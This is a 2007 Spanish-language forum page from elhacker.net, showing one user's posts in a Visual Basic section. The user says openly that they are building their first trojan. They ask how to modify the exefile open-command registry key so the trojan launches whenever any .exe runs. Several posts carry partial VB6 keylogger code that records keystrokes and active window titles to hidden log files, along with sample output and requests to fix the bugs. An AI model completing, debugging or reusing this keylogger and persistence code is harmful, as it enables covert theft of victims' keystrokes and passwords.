elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: AIO elhacker.NET 2021 Compilación herramientas análisis y desinfección malware


  Mostrar Mensajes
Páginas: [1]
1  Programación / Programación Visual Basic / una ayuda con el registro de win! en: 5 Noviembre 2007, 03:37 am
bueno le quiero agregar a mi troyano que se ejecute cada vez que el usuario abre un *.exe, en el registro en la clase HKEY_CLASSES_ROOT\exefile\shell\open\command\ se encuentra el predeterminado (programa que abre cierto tipo de archivo, en este caso el exe segun entendi se abre con si mismo)

lei no se donde que cambiando el valor del predeterminado que es "%1" %* se puede hacer que TU archivo ejecute el que ejecuta el usuario en la pc, esto qeudaria:

Rutadearchivo "%1" %*

asi decia que se hacia donde lo lei, la cosa es que asi no va y no encuentro la forma de hacerlo. si alguien sabe como es que se tiene que modificar para que funcione desde ya le agradezco

PD: se que el tema no iria en visual basic, pero como lo necesito para mi troyanoq eu si es en visual lo pongo aca.
saludos
2  Programación / Programación Visual Basic / Re: Recursos en VB en: 22 Agosto 2007, 20:15 pm
yo justo hace unos dias me preguntaba lo mismo pero termine haciendo otra cosa xD alguien tiene la respuesta a la pregunta del muchacho? que a mi tambien me interesa :) y supongo que se aplica a cualquier archivo no solo de sonido
3  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 16 Agosto 2007, 20:43 pm
muchisimas gracias Hades, mataria que lo explicaras, si tenes tiempo vendria bien  ;)
dejen de escabiar birra xD
4  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 16 Agosto 2007, 05:58 am
Jareth, lei nuevamente tu recomendacion e hice esto:
Código:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long, ventana As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
   If Not ventana = hwndv Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & nombreactu & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""

End If


For i = 0 To 256
Dim estado As Long, teclass As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclass = teclass + Chr(i)
End If

ventana = GetForegroundWindow()
Next

pero el txt graba muchisimas lineas con el nombre de cada ventana y ni si quiera graba las teclas. ayudaaaaaaaa
5  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 16 Agosto 2007, 05:41 am
Nadie tiene ninguna sugerencia?  :(
6  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 10 Agosto 2007, 00:22 am
Bueno a partir de lo que me dijistes hice esto, pero tampoco funciono  :¬¬ :

Código:
Private Sub timeKeylog_Timer()
Dim nombreactu As String, nom As String, hwndv As Long, vent As Long

hwndv = GetForegroundWindow()
lenT = GetWindowTextLength(hwndv)
nom = String$(lenT, 0)
     vent = GetWindowText(hwndv, nom, lenT + 1)
    nombreactu = Left(nom, vent)
   
For i = 0 To 256
Dim estado As Long, teclas As String
estado = GetAsyncKeyState(i)
 
If estado = -32767 Then
teclas = teclas + Chr(i)
End If
Next
   
If Not ventana = nombreactu Then

Open App.Path & "\prueba.txt" For Append As #1
Print #1, "[" & ventana & "-" & Date & "-" & Time & "-]"
Print #1, teclas
Close #1

teclas = ""
ventana = nombreactu
End If

   
End Sub


este es el resultado de prueba.txt con ese codigo:

Código:
[-09/08/2007-07:18:18 p.m.-]

[Server-09/08/2007-07:18:25 p.m.-]

[-09/08/2007-07:18:25 p.m.-]

[VB-09/08/2007-07:18:30 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:18:36 p.m.-]

[VB-09/08/2007-07:18:46 p.m.-]

[API-Guide 3.7 - 925 functions found!-09/08/2007-07:18:51 p.m.-]

[-09/08/2007-07:18:51 p.m.-]

[VB-09/08/2007-07:18:54 p.m.-]

[prueba.txt - Bloc de notas-09/08/2007-07:19:16 p.m.-]

[VB-09/08/2007-07:19:17 p.m.-]

[-09/08/2007-07:19:18 p.m.-]


No se que seran esas entradas sin el nombre de la ventana y como pueden ver tampoco capturo las letras.
Por ahora no pude encontrar el error.
7  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 9 Agosto 2007, 19:00 pm
Gracias por las respuestas, espero tu codigo Jareth.Yo antes trataba de ahcer lo mismo, que obtenga la ventana actual y un timer que se fije si cambia, pero sino me equivoco , o hasta donde da mi imaginacion, tendria que haber dos timers, uno que constantemente capte cual es la ventana activa y otro que se fije si cambia o no, no es asi?

Gracias
8  Programación / Programación Visual Basic / Re: ayuda con keylogger en: 8 Agosto 2007, 21:38 pm
Bueno, lo hice para que en vez de cuando cambia de ventana sea cuando se presiona ENTER, aunque me hubiera gustado mas de la anterior forma, igualmente tiene errores, por ejemplo no obtiene el Titulo de al ventana activa, y me graba todas "," como si estuviera presionada, dejo el codigo aver si alguien me da una mano:

Código:
Private Sub timeKeylog_Timer()


Dim pulsa As Long, teclas As String, hwndk As Long, nomb As String, nomcompleto As Long, nomfinal As String, activekey As String, lenT As Long
hwndk = GetForegroundWindow
 lenT = GetWindowTextLength(hwndk)
nomb = String$(lenT, 0)
     nomcompleto = GetWindowText(hwndk, nomb, lenT + 1)
     nomfinal = Left(nomb, nomcompleto)


activekey = GetActiveKey

Select Case activekey


Case vbKeyReturn

Open App.Path & "\systemkl.log" For Append As #1
Print #1, "[" & nomfinal & "-" & Date & "-" & Time & "]"

Print #1, teclas
Print #1, "   "
Close #1
teclas = ""



Case vbKeyA To vbKeyZ, 32 To 47
teclas = teclas + Chr(activekey)
End Select

End Sub

Esto seria la funcion GetActiveKeys (creditos a Slasher-K)

Código:
Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Alguien que me pueda echar una mano?

Gracias
9  Programación / Programación Visual Basic / ayuda con keylogger en: 7 Agosto 2007, 16:51 pm
bueno, estoy haciendo mi primer troyano en vb  y estuve tratando de hacer un keylogger que:

1. Logea las teclas mientras la ventana siempre sea la misma
2. cuando cambia la ventana escribe en un .txt el nombre de la ventana junto con las teclas que se pulsaron mientras estaba activa

El problema me viene en el segundo punto, trate de mil formas, busque APIs y todo pero no logro hacer que al cambiar de ventana guarde lo pulsado (no se como indicarle que cuando la ventana activa cambie guarde lo pulsado  :¬¬)
!
si alguien tiene alguna sugerencia, bienvenida sea  ;)

gracias de antemano

PD: en este codigo me tira un error de "Subindice fuera del intervalo" y no entiendo por que es, no le veo logica para existir tal error (EDIT: YA LO SOLUCIONE ESTO)

Codigo:
If Left(datos, 7) = "listwnd" Then
Dim ventanas() As String, itemwnd() As String, listhwnd As Long, listnomwnd As String, nom As String
dato = Split(datos, "@")
ventanas = Split(dato(1), "?")
For i = 0 To UBound(ventanas)
itemwnd() = Split(ventanas(i), "/")

listWnd.AddItem itemwnd(0)  "EN ESTA SENTENCIA DICE QUE ESTA EL ERROR"


Next i
End If
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines